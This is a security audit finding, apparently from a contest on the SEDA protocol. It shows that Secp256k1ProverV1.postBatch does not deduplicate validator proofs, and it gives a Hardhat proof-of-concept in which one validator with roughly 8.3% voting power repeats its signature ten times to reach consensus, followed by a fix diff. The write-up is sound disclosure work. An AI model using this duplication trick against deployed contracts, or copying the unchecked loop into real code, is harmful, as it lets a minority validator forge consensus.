Sweet Sky Worm

High

# A single validators can reach consensus on `postBatch` by duplicating votes

New batches can be posted with new data through `Secp256k1ProverV1.postBatch` and should ensure consensus through consensus between validators.
https://github.com/sherlock-audit/2024-12-seda-protocol/blob/main/seda-evm-contracts/contracts/provers/Secp256k1ProverV1.sol#L123
```solidity
function postBatch(
        SedaDataTypes.Batch calldata newBatch,
        bytes[] calldata signatures,
        SedaDataTypes.ValidatorProof[] calldata validatorProofs
    ) external override(ProverBase) whenNotPaused {
        Secp256k1ProverStorage storage s = _storageV1();
        // Prevents replay attacks via strictly ordered batches
        if (newBatch.batchHeight <= s.lastBatchHeight) {
            revert InvalidBatchHeight();
        }
        // Each signature needs a validator Merkle Proof
        if (signatures.length != validatorProofs.length) {
            revert MismatchedSignaturesAndProofs();
        }

        bytes32 batchId = SedaDataTypes.deriveBatchId(newBatch);

        // Accumulate voting power from valid validators to ensure sufficient consensus
        // Each validator must prove membership and provide a valid signature
        uint64 votingPower = 0;
        for (uint256 i = 0; i < validatorProofs.length; i++) {
            // Verify validator is part of the current validator set using Merkle proof
            if (!_verifyValidatorProof(validatorProofs[i], s.lastValidatorsRoot)) {
                revert InvalidValidatorProof();
            }
            // Verify signature is valid and signed by the validator
            if (!_verifySignature(batchId, signatures[i], validatorProofs[i].signer)) {
                revert InvalidSignature();
            }
            votingPower += validatorProofs[i].votingPower;
        }

        // Check that voting power meets or exceeds the consensus threshold (2/3)
@>      if (votingPower < CONSENSUS_PERCENTAGE) {
            revert ConsensusNotReached();
        }

        // After consensus is reached, commit the new batch and update validator set
        // This establishes the new state for future batch validations
        s.lastBatchHeight = newBatch.batchHeight;
        s.lastValidatorsRoot = newBatch.validatorsRoot;
        s.batches[newBatch.batchHeight] = BatchData({resultsRoot: newBatch.resultsRoot, sender: msg.sender});
        emit BatchPosted(newBatch.batchHeight, batchId, msg.sender);
    }
```
The issue is that a single validator with a voting power less than the `CONSENSUS_PERCENTAGE` can reach consensus by duplicating his own `proofs` and `signatures`. 

## Proof of Concept
Add the following and run `npx hardhat test test/prover/Secp256k1ProverV1.test.ts`
```solidity
it.only('updates batch with a single validators with (8.3% power)', async () => {
      const { prover, wallets, data } = await loadFixture(deployProverFixture);

      const { newBatch, signatures } = await generateAndSignBatch(wallets, data.initialBatch, [0, 1, 2, 3]);

      const newSignatures = Array(10).fill(signatures[2]);
      const newValidatorProofs = Array(10).fill(data.validatorProofs[2]);//@audit-info a validator with 8.3% voting power can duplicate it proof 10 times

      await prover.postBatch(newBatch, newSignatures, newValidatorProofs);//@audit the validator would reach consensus.

      const lastBatchHeight = await prover.getLastBatchHeight();
      const lastValidatorsRoot = await prover.getLastValidatorsRoot();
      expect(lastBatchHeight).to.equal(newBatch.batchHeight);
      expect(lastValidatorsRoot).to.equal(newBatch.validatorsRoot);
    });
```
## Recommendation
```diff
diff --git a/seda-evm-contracts/contracts/provers/Secp256k1ProverV1.sol b/seda-evm-contracts/contracts/provers/Secp256k1ProverV1.sol
index 640ac8e..ec2f392 100644
--- a/seda-evm-contracts/contracts/provers/Secp256k1ProverV1.sol
+++ b/seda-evm-contracts/contracts/provers/Secp256k1ProverV1.sol
@@ -73,6 +73,7 @@ contract Secp256k1ProverV1 is ProverBase, Initializable, UUPSUpgradeable, Ownabl
         s.lastValidatorsRoot = initialBatch.validatorsRoot;
         emit BatchPosted(initialBatch.batchHeight, SedaDataTypes.deriveBatchId(initialBatch), address(0));
     }
+    mapping(address => bool) public usedValidators; // Track unique validators
 
     // ============ External Functions ============
 
@@ -116,14 +117,20 @@ contract Secp256k1ProverV1 is ProverBase, Initializable, UUPSUpgradeable, Ownabl
             if (!_verifySignature(batchId, signatures[i], validatorProofs[i].signer)) {
                 revert InvalidSignature();
             }
+            address validator = validatorProofs[i].signer;
+            require(!usedValidators[validator], "Already Voted");
+            usedValidators[validator] = true;
             votingPower += validatorProofs[i].votingPower;
         }
-
+        
         // Check that voting power meets or exceeds the consensus threshold (2/3)
         if (votingPower < CONSENSUS_PERCENTAGE) {
             revert ConsensusNotReached();
         }
-
+        for (uint256 i = 0; i < validatorProofs.length; i++) {
+            delete usedValidators[validatorProofs[i].signer];//@audit reset mappings
+        }
+        
         // After consensus is reached, commit the new batch and update validator set
         // This establishes the new state for future batch validations
         s.lastBatchHeight = newBatch.batchHeight;
(END)
```